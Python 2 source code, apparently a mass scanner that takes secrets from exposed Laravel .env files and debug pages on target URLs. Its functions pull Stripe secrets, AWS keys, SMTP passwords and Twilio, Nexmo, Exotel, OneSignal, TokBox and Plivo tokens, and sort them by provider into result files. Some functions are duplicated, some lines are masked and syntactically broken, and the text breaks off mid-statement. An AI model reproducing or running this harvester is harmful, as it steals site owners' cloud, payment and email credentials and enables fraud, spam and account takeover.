def get_stripe(self, text, url): try: if "STRIPE_KEY" in text: if "STRIPE_KEY=" in text: method = '/.env' stripkey = reg('\nSTRIPE_KEY=(.*?)\n', text)[0] stripsec = reg('\nSTRIPE_SECRET=(.*?)\n', text)[0] elif '<td>STRIPE_KEY</td>' in text: method = 'debug' stripkey = reg( '<td>STRIPE_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] stripsec = reg( '<td>STRIPE_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nSTRIPE_KEY: ' + str( stripkey) + '\nSTRIPE_SECRET: ' + str(stripsec) remover = str(build).replace('\r', '') save = open('Resultz/STRIPE.txt', 'a') save.write(remover + '\n\n') save.close() return True else: return False except: return False
def get_smtp(self, text, url): try: if "AWS_ACCESS_KEY_ID" in text: if "AWS_ACCESS_KEY_ID=" in text: method = '/.env' awskey = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0] awssecreet = reg("\nAWS_SECRET_ACCESS_KEY(.*?)\n", text)[0] awsregion = reg("\nAWS_DEFAULT_REGION(.*?)\n", text)[0] elif "<td>AWS_ACCESS_KEY_ID</td>" in text: method = 'debug' awskey = reg( '<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] awssecreet = reg( '<td>AWS_SECRET_ACCESS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] awsregion = reg( '<td>AWS_DEFAULT_REGION<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nAWS_ACCESS_KEY_ID: ' + str( awskey) + '\nAWS_SECRET_ACCESS_KEY: ' + str( awssecreet) + '\nAWS_DEFAULT_REGION: ' + str( awsregion) remover = str(build).replace('\r', '') save = open('Resultz/' + awsregion + '.txt', 'a') save.write(remover + '\n\n') save.close() return True else: return False except: return False
def get_twillio(self, text, url): try: if "TWILIO" in text: if "TWILIO_ACCOUNT_SID=" in text: method = '/.env' acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n', text)[0] acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', text)[0] phone = reg('\nTWILIO_NUMBER=(.*?)\n', text)[0] elif '<td>TWILIO_ACCOUNT_SID</td>' in text: method = 'debug' acc_sid = reg( '<td>TWILIO_ACCOUNT_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] acc_key = reg( '<td>TWILIO_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] phone = reg( '<td>TWILIO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nTWILIO_ACCOUNT_SID: ' + str( acc_sid) + '\nTWILIO_API_KEY: ' + str( acc_key) + '\nTWILIO_NUMBER: ' + str(phone) remover = str(build).replace('\r', '') save = open('Resultz/TWILLIO.txt', 'a') save.write(remover + '\n\n') save.close() return True else: return False except: return False
def get_twillio(self, text, url): try: if "TWILIO" in text: if "TWILIO_ACCOUNT_SID=" in text: method = '/.env' try: acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n', text)[0] except: acc_sid = '' try: acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', text)[0] except: acc_key = '' try: sec = reg('\nTWILIO_API_SECRET=(.*?)\n', text)[0] except: sec = '' try: chatid = reg('\nTWILIO_CHAT_SERVICE_SID=(.*?)\n', text)[0] except: chatid = '' try: phone = reg('\nTWILIO_NUMBER=(.*?)\n', text)[0] except: phone = '' try: auhtoken = reg('\nTWILIO_AUTH_TOKEN=(.*?)\n', text)[0] except: auhtoken = '' elif '<td>TWILIO_ACCOUNT_SID</td>' in text: method = 'debug' try: acc_sid = reg('<td>TWILIO_ACCOUNT_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: acc_sid = '' try: acc_key = reg('<td>TWILIO_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: acc_key = '' try: sec = reg('<td>TWILIO_API_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: sec = '' try: chatid = reg('<td>TWILIO_CHAT_SERVICE_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: chatid = '' try: phone = reg('<td>TWILIO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: phone = '' try: auhtoken = reg('<td>TWILIO_AUTH_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: auhtoken = '' build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nTWILIO_ACCOUNT_SID: '+str(acc_sid)+'\nTWILIO_API_KEY: '+str(acc_key)+'\nTWILIO_API_SECRET: '+str(sec)+'\nTWILIO_CHAT_SERVICE_SID: '+str(chatid)+'\nTWILIO_NUMBER: '+str(phone)+'\nTWILIO_AUTH_TOKEN: '+str(auhtoken) remover = str(build).replace('\r', '') save = open('Results/TWILLIO.txt', 'a') save.write(remover+'\n\n') save.close() return True else: return False except: return False
def get_nexmo(self, text, url): try: if "NEXMO" in text: if "NEXMO_KEY=" in text: method = '/.env' try: nexmo_key = reg('\nNEXMO_KEY=(.*?)\n', text)[0] except: nexmo_key = '' try: nexmo_secret = reg('\nNEXMO_SECRET=(.*?)\n', text)[0] except: nexmo_secret = '' try: phone = reg('\nNEXMO_NUMBER=(.*?)\n', text)[0] except: phone = '' elif '<td>NEXMO_KEY</td>' in text: method = 'debug' try: nexmo_key = reg( '<td>NEXMO_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: nexmo_key = '' try: nexmo_secret = reg( '<td>NEXMO_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: nexmo_secret = '' try: phone = reg( '<td>EXMO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: phone = '' build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nNEXMO_KEY: ' + str( nexmo_key) + '\nNEXMO_SECRET: ' + str( nexmo_secret) + '\nNEXMO_NUMBER: ' + str(phone) remover = str(build).replace('\r', '') save = open('Results/NEXMO.txt', 'a') save.write(remover + '\n\n') save.close() return True elif "EXOTEL_API_KEY" in text: if "EXOTEL_API_KEY=" in text: method = '/.env' try: exotel_api = reg('\nEXOTEL_API_KEY=(.*?)\n', text)[0] except: exotel_api = '' try: exotel_token = reg('\nEXOTEL_API_TOKEN=(.*?)\n', text)[0] except: exotel_token = '' try: exotel_sid = reg('\nEXOTEL_API_SID=(.*?)\n', text)[0] except: exotel_sid = '' elif '<td>EXOTEL_API_KEY</td>' in text: method = 'debug' try: exotel_api = reg( '<td>EXOTEL_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: exotel_api = '' try: exotel_token = reg( '<td>EXOTEL_API_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: exotel_token = '' try: exotel_sid = reg( '<td>EXOTEL_API_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: exotel_sid = '' build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nEXOTEL_API_KEY: ' + str( exotel_api) + '\nEXOTEL_API_TOKEN: ' + str( exotel_token) + '\nEXOTEL_API_SID: ' + str( exotel_sid) remover = str(build).replace('\r', '') save = open('Results/EXOTEL.txt', 'a') save.write(remover + '\n\n') save.close() return True elif "ONESIGNAL_APP_ID" in text: if "ONESIGNAL_APP_ID=" in text: method = '/.env' try: onesignal_id = reg('\nONESIGNAL_APP_ID=(.*?)\n', text)[0] except: onesignal_id = '' try: onesignal_token = reg( '\nONESIGNAL_REST_API_KEY=(.*?)\n', text)[0] except: onesignal_id = '' try: onesignal_auth = reg( '\nONESIGNAL_USER_AUTH_KEY=(.*?)\n', text)[0] except: onesignal_auth = '' elif '<td>ONESIGNAL_APP_ID</td>' in text: method = 'debug' try: onesignal_id = reg( '<td>ONESIGNAL_APP_ID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: onesignal_id = '' try: onesignal_token = reg( '<td>ONESIGNAL_REST_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: onesignal_token = '' try: onesignal_auth = reg( '<td>ONESIGNAL_USER_AUTH_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: onesignal_auth = '' build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nONESIGNAL_APP_ID: ' + str( onesignal_id) + '\nONESIGNAL_REST_API_KEY: ' + str( onesignal_token ) + '\nONESIGNAL_USER_AUTH_KEY: ' + str(onesignal_auth) remover = str(build).replace('\r', '') save = open('Results/ONESIGNAL.txt', 'a') save.write(remover + '\n\n') save.close() return True elif "TOKBOX_KEY_DEV" in text: if "TOKBOX_KEY_DEV=" in text: method = '/.env' try: tokbox_key = reg('\nTOKBOX_KEY_DEV=(.*?)\n', text)[0] except: tokbox_key = '' try: tokbox_secret = reg('\nTOKBOX_SECRET_DEV=(.*?)\n', text)[0] except: tokbox_secret = '' elif '<td>TOKBOX_KEY_DEV</td>' in text: method = 'debug' try: tokbox_key = reg( '<td>TOKBOX_KEY_DEV<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_key = '' try: tokbox_secret = reg( '<td>TOKBOX_SECRET_DEV<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_secret = '' build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nTOKBOX_KEY_DEV: ' + str( tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str( tokbox_secret) remover = str(build).replace('\r', '') save = open('Results/TOKBOX.txt', 'a') save.write(remover + '\n\n') save.close() return True elif "TOKBOX_KEY" in text: if "TOKBOX_KEY=" in text: method = '/.env' try: tokbox_key = reg('\nTOKBOX_KEY=(.*?)\n', text)[0] except: tokbox_key = '' try: tokbox_secret = reg('\nTOKBOX_SECRET=(.*?)\n', text)[0] except: tokbox_secret = '' elif '<td>TOKBOX_KEY</td>' in text: method = 'debug' try: tokbox_key = reg( '<td>TOKBOX_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_key = '' try: tokbox_secret = reg( '<td>TOKBOX_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_secret = '' build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nTOKBOX_KEY_DEV: ' + str( tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str( tokbox_secret) remover = str(build).replace('\r', '') save = open('Results/TOKBOX.txt', 'a') save.write(remover + '\n\n') save.close() return True elif "TOKBOX_KEY_OLD" in text: if "TOKBOX_KEY_OLD=" in text: method = '/.env' try: tokbox_key = reg('\nTOKBOX_KEY_OLD=(.*?)\n', text)[0] except: tokbox_key = '' try: tokbox_secret = reg('\nTOKBOX_SECRET_OLD=(.*?)\n', text)[0] except: tokbox_secret = '' elif '<td>TOKBOX_KEY_OLD</td>' in text: method = 'debug' try: tokbox_key = reg( '<td>TOKBOX_KEY_OLD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_key = '' try: tokbox_secret = reg( '<td>TOKBOX_SECRET_OLD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_secret = '' build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nTOKBOX_KEY_DEV: ' + str( tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str( tokbox_secret) remover = str(build).replace('\r', '') save = open('Results/TOKBOX.txt', 'a') save.write(remover + '\n\n') save.close() return True elif "PLIVO_AUTH_ID" in text: if "PLIVO_AUTH_ID=" in text: method = '/.env' try: plivo_auth = reg('\nPLIVO_AUTH_ID=(.*?)\n', text)[0] except: plivo_auth = '' try: plivo_secret = reg('\nPLIVO_AUTH_TOKEN=(.*?)\n', text)[0] except: plivo_secret = '' elif '<td>PLIVO_AUTH_ID</td>' in text: method = 'debug' try: plivo_auth = reg( '<td>PLIVO_AUTH_ID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: plivo_auth = '' try: plivo_secret = reg( '<td>PLIVO_AUTH_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: plivo_secret = '' build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nPLIVO_AUTH_ID: ' + str( tokbox_key) + '\nPLIVO_AUTH_TOKEN: ' + str( tokbox_secret) remover = str(build).replace('\r', '') save = open('Results/PVILO.txt', 'a') save.write(remover + '\n\n') save.close() return True else: return False except: return False
def get_aws_data(self, response, url): try: if "AWS_ACCESS_KEY_ID" in response: if "AWS_ACCESS_KEY_ID=" in response: method = '/.env' try: aws_key = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", response)[0] except: aws_key = '' try: aws_sec = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n", response)[0] except: aws_sec = '' try: get_region = self.get_aws_region(response) if get_region: aws_reg = get_region else: aws_reg = '' except: aws_reg = '' elif "<td>AWS_ACCESS_KEY_ID</td>" in response: method = 'debug' try: aws_key = reg( "<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: aws_key = '' try: aws_sec = reg( "<td>AWS_SECRET_ACCESS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: aws_sec = '' try: get_region = self.get_aws_region(response) if get_region: aws_reg = get_region else: aws_reg = '' except: aws_reg = '' if aws_reg == '': aws_reg = "aws_unknown_region--" if aws_key == '' and aws_sec == '': return False else: build = '{}|{}|{}|{}|{}'.format(str(url), str(method), str(aws_key), str(aws_sec), str(aws_reg)) remover = str(build).replace('\r', '') save = open('Results/aws_access_key_secret.txt', 'a') save.write(remover + '\n') save.close() return True elif "AWS_KEY" in response: if "AWS_KEY=" in response: method = '/.env' try: aws_key = reg("\nAWS_KEY=(.*?)\n", response)[0] except: aws_key = '' try: aws_sec = reg("\nAWS_SECRET=(.*?)\n", response)[0] except: aws_sec = '' try: aws_reg = reg("\nAWS_REGION=(.*?)\n", response)[0] except: aws_reg = '' try: aws_buc = reg("\nAWS_BUCKET=(.*?)\n", response)[0] except: aws_buc = '' elif "<td>AWS_KEY</td>" in response: method = 'debug' try: aws_key = reg( "<td>AWS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: aws_key = '' try: aws_sec = reg( "<td>AWS_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: aws_sec = '' try: aws_reg = reg( "<td>AWS_REGION<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: aws_reg = '' try: aws_buc = reg( "<td>AWS_BUCKET<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: aws_buc = '' if aws_reg == '': aws_reg = "aws_unknown_region--" if aws_key == '' and aws_sec == '': return False else: build = '{}|{}|{}|{}|{}|{}'.format(str(url), str(method), str(aws_key), str(aws_sec), str(aws_reg), str(aws_buc)) remover = str(build).replace('\r', '') save = open('Results/aws_access_key_secret.txt', 'a') save.write(remover + '\n') save.close() return True elif "SES_KEY" in response: if "SES_KEY=" in response: method = '/.env' try: aws_key = reg("\nSES_KEY=(.*?)\n", response)[0] except: aws_key = '' try: aws_sec = reg("\nSES_SECRET=(.*?)\n", response)[0] except: aws_sec = '' try: get_region = self.get_aws_region(response) if get_region: aws_reg = get_region else: aws_reg = '' except: aws_reg = '' elif "<td>SES_KEY</td>" in response: method = 'debug' try: aws_key = reg( "<td>SES_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: aws_key = '' try: aws_sec = reg( "<td>SES_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: aws_sec = '' try: get_region = self.get_aws_region(response) if get_region: aws_reg = get_region else: aws_reg = '' except: aws_reg = '' if aws_reg == '': aws_reg = "aws_unknown_region--" if aws_key == '' and aws_sec == '': return False else: build = '{}|{}|{}|{}|{}'.format(str(url), str(method), str(aws_key), str(aws_sec), str(aws_reg)) remover = str(build).replace('\r', '') save = open('Results/aws_access_key_secret.txt', 'a') save.write(remover + '\n') save.close() return True else: return False except: return False
def get_smtp(self, response, url): try: if "MAIL_HOST" in response: if "MAIL_HOST=" in response: method = '/.env' mailhost = reg("\nMAIL_HOST=(.*?)\n", response)[0] mailport = reg("\nMAIL_PORT=(.*?)\n", response)[0] mailuser = reg("\nMAIL_USERNAME=(.*?)\n", response)[0] mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", response)[0] try: mailfrom = reg("\nMAIL_FROM_ADDRESS=(.*?)\n", response)[0] except: mailfrom = '' try: fromname = reg("\MAIL_FROM_NAME=(.*?)\n", response)[0] except: fromname = '' elif "<td>MAIL_HOST</td>" in response: method = 'debug' mailhost = reg( '<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] mailport = reg( '<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] mailuser = reg( '<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] mailpass = reg( '<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] try: mailfrom = reg( "<td>MAIL_FROM_ADDRESS<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: mailfrom = '' try: fromname = reg( "<td>MAIL_FROM_NAME<\/td>\s+<td><pre.*>(.*?)<\/span>", response)[0] except: fromname = '' if mailuser == 'null' or mailpass == 'null' or mailuser == '' or mailpass == '': return False else: if '.amazonaws.com' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/smtp_aws.txt', 'a') save.write(remover + '\n') save.close() elif 'sendgrid' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/sendgrid.txt', 'a') save.write(remover + '\n') save.close() elif 'office365' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/office.txt', 'a') save.write(remover + '\n') save.close() elif '1and1' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/1and1.txt', 'a') save.write(remover + '\n') save.close() elif 'zoho' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/zoho.txt', 'a') save.write(remover + '\n') save.close() elif 'mandrillapp' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/mandrill.txt', 'a') save.write(remover + '\n') save.close() elif 'smtp2go' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/smtp2go.txt', 'a') save.write(remover + '\n') save.close() elif 'mailgun' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/mailgun.txt', 'a') save.write(remover + '\n') save.close() elif 'gmail' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/gmail.txt', 'a') save.write(remover + '\n') save.close() elif 'googlemail' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/gmail.txt', 'a') save.write(remover + '\n') save.close() elif 'mailtrap' in mailhost: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/mailtrap.txt', 'a') save.write(remover + '\n') save.close() else: build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(mailhost), str(mailport), str(mailuser), str(mailpass), str(mailfrom), str(fromname)) remover = str(build).replace('\r', '') save = open('Results/SMTP_RANDOM.txt', 'a') save.write(remover + '\n') save.close() return True else: return False except: return False
def get_twillio(self, response, url): try: if "TWILIO" in response: if "TWILIO_ACCOUNT_SID=" in response: method = '/.env' try: acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n', response)[0] except: acc_sid = '' try: acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', response)[0] except: acc_key = '' try: sec = reg('\nTWILIO_API_SECRET=(.*?)\n', response)[0] except: sec = '' try: chatid = reg('\nTWILIO_CHAT_SERVICE_SID=(.*?)\n', response)[0] except: chatid = '' try: phone = reg('\nTWILIO_NUMBER=(.*?)\n', response)[0] except: phone = '' try: authtoken = reg('\nTWILIO_AUTH_TOKEN=(.*?)\n', response)[0] except: authtoken = '' elif '<td>TWILIO_ACCOUNT_SID</td>' in response: method = 'debug' try: acc_sid = reg( '<td>TWILIO_ACCOUNT_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] except: acc_sid = '' try: acc_key = reg( '<td>TWILIO_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] except: acc_key = '' try: sec = reg( '<td>TWILIO_API_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] except: sec = '' try: chatid = reg( '<td>TWILIO_CHAT_SERVICE_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] except: chatid = '' try: phone = reg( '<td>TWILIO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] except: phone = '' try: authtoken = reg( '<td>TWILIO_AUTH_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>', response)[0] except: authtoken = '' build = '{}|{}|{}|{}|{}|{}|{}|{}'.format( str(url), str(method), str(acc_sid), str(acc_key), str(sec), str(chatid), str(phone), str(authtoken)) remover = str(build).replace('\r', '') save = open('Results/Twilio.txt', 'a') save.write(remover + '\n') save.close() return True else: return False except: return False
def get_smtp2(url, text): try: if "MAIL_HOST" in text: if "<td>MAIL_HOST</td>" in text: print "\033[1;40m[x] {} ===> \033[1;32;40mSMTP".format( str(url)) mailhost = reg( '<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailport = reg( '<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailuser = reg( '<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailpass = reg( '<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] build = 'URL: ' + str(url) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\r', '') if ".amazonaws.com" in text and aws() == "on": mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0] mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0] mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0] mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0] getcountry = reg('email-smtp.(.*?).amazonaws.com', mailhost)[0] build = 'URL: ' + str(url) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\r', '') print "\033[1;40m[x] {} ===> \033[1;32;40m amazonaws".format( str(url)) save = open(getcountry + '.txt', 'a') save.write(str(remover) + '\n\n') save.close() if "smtp.sendgrid.net" in str(mailhost) and sendgrid() == "on": print "\033[1;40m[x] {} ===> \033[1;32;40mSendgrid".format( str(url)) save = open('Resultz/sendgrid.txt', 'a') save.write(str(remover) + '\n\n') save.close() if "mailgun.org" in str(mailhost) and mailgun() == "on": print "\033[1;40m[x] {} ===> \033[1;32;40mmailgun".format( str(url)) save = open('Resultz/mailgun.txt', 'a') save.write(str(remover) + '\n\n') save.close() if "sparkpostmail.com" in str( mailhost) and sparkpostmail() == "on": print "\033[1;40m[x] {} ===> \033[1;32;40msparkpostmail".format( str(url)) save = open('Resultz/sparkpostmail.txt', 'a') save.write(str(remover) + '\n\n') save.close() if "mandrillapp.com" in str( mailhost) and mandrillapp() == "on": print "\033[1;40m[x] {} ===> \033[1;32;40mmandrillapp".format( str(url)) save = open('Resultz/mandrill.txt', 'a') save.write(str(remover) + '\n\n') save.close() if "zoho." in str(mailhost) and zoho() == "on": print "\033[1;40m[x] {} ===> \033[1;32;40mzoho".format( str(url)) save = open('Resultz/zoho.txt', 'a') save.write(str(remover) + '\n\n') save.close() if "1and1." in str(mailhost) and and1() == "on": print "\033[1;40m[x] {} ===> \033[1;32;40m1and1".format( str(url)) save = open('Resultz/1and1.txt', 'a') save.write(str(remover) + '\n\n') save.close() if "smtp.office365.com" and office365() == "on": print "\033[1;40m[x] {} ===> \033[1;32;40moffice365".format( str(url)) save = open('Resultz/office365.txt', 'a') save.write(str(remover) + '\n\n') save.close() if mailuser == "null" or mailpass == "null" or mailuser == "" or mailpass == "": print "\033[1;40m[x] {} ===> \033[1;31;40mFailed".format( str(url)) print "\033[1;40m[x] {} ===> \033[1;32;40mSMTP".format( str(url)) save = open('Resultz/SMTP_RANDOM.txt', 'a') save.write(str(remover) + '\n\n') save.close() else: print "\033[1;40m[x] {} ===> \033[1;31;40mFailed SMTP".format( str(url)) if '<td>TWILIO_ACCOUNT_SID</td>' in text and twillio() == "on": print "\033[1;40m[x] {} ===> \033[1;32;40mTwillio".format( str(url)) acc_sid = reg( '<td>TWILIO_ACCOUNT_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] acc_key = reg( '<td>TWILIO_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] sec = reg('<td>TWILIO_API_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] chatid = reg( '<td>TWILIO_CHAT_SERVICE_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] phone = reg('<td>TWILIO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] auhtoken = reg( '<td>TWILIO_AUTH_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] build = 'URL: ' + str(url) + '\nTWILIO_ACCOUNT_SID: ' + str( acc_sid) + '\nTWILIO_API_KEY: ' + str( acc_key) + '\nTWILIO_API_SECRET: ' + str( sec) + '\nTWILIO_CHAT_SERVICE_SID: ' + str( chatid) + '\nTWILIO_NUMBER: ' + str( phone) + '\nTWILIO_AUTH_TOKEN: ' + str( auhtoken) remover = str(build).replace('\r', '') save = open('Resultz/TWILLIO.txt', 'a') save.write(remover + '\n\n') save.close() else: print "\033[1;40m[x] {} ===> \033[1;31;40mFailed Twillio".format( str(url)) if '<td>NEXMO_KEY</td>' in text and NEXMO() == "on": try: nexmo_key = reg( '<td>NEXMO_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: nexmo_key = '' try: nexmo_secret = reg( '<td>NEXMO_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: nexmo_secret = '' try: phone = reg('<td>EXMO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: phone = '' print "\033[1;40m[x] {} ===> \033[1;32;40mNEXMO".format(str(url)) build = 'URL: ' + str(url) + '\nnexmo_key: ' + str( nexmo_key) + '\nnexmo_secret: ' + str( nexmo_secret) + '\nphone: ' + str(phone) remover = str(build).replace('\r', '') save = open('Resultz/NEXMO.txt', 'a') save.write(remover + '\n\n') save.close() elif 'NEXMO_KEY' not in text or 'NEXMO_KEY' in text and NEXMO( ) == "off": pass else: print "\033[1;40m[x] {} ===> \033[1;31;40mFailed NEXMO".format( str(url)) if '<td>EXOTEL_API_KEY</td>' in text and EXOTEL() == "on": try: exotel_api = reg( '<td>EXOTEL_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: exotel_api = '' try: exotel_token = reg( '<td>EXOTEL_API_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: exotel_token = '' try: exotel_sid = reg( '<td>EXOTEL_API_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: exotel_sid = '' print "\033[1;40m[x] {} ===> \033[1;32;40mEXOTEL".format( str(url)) build = 'URL: ' + str(url) + '\nEXOTEL_API_KEY: ' + str( exotel_api) + '\nEXOTEL_API_TOKEN: ' + str( exotel_token) + '\nEXOTEL_API_SID: ' + str(exotel_sid) remover = str(build).replace('\r', '') save = open('Resultz/EXOTEL.txt', 'a') save.write(remover + '\n\n') save.close() elif 'EXOTEL_API_KEY' not in text or 'EXOTEL_API_KEY' in text and EXOTEL( ) == "off": pass else: print "\033[1;40m[x] {} ===> \033[1;31;40mFailed EXOTEL".format( str(url)) if '<td>ONESIGNAL_APP_ID</td>' in text and ONESIGNAL() == 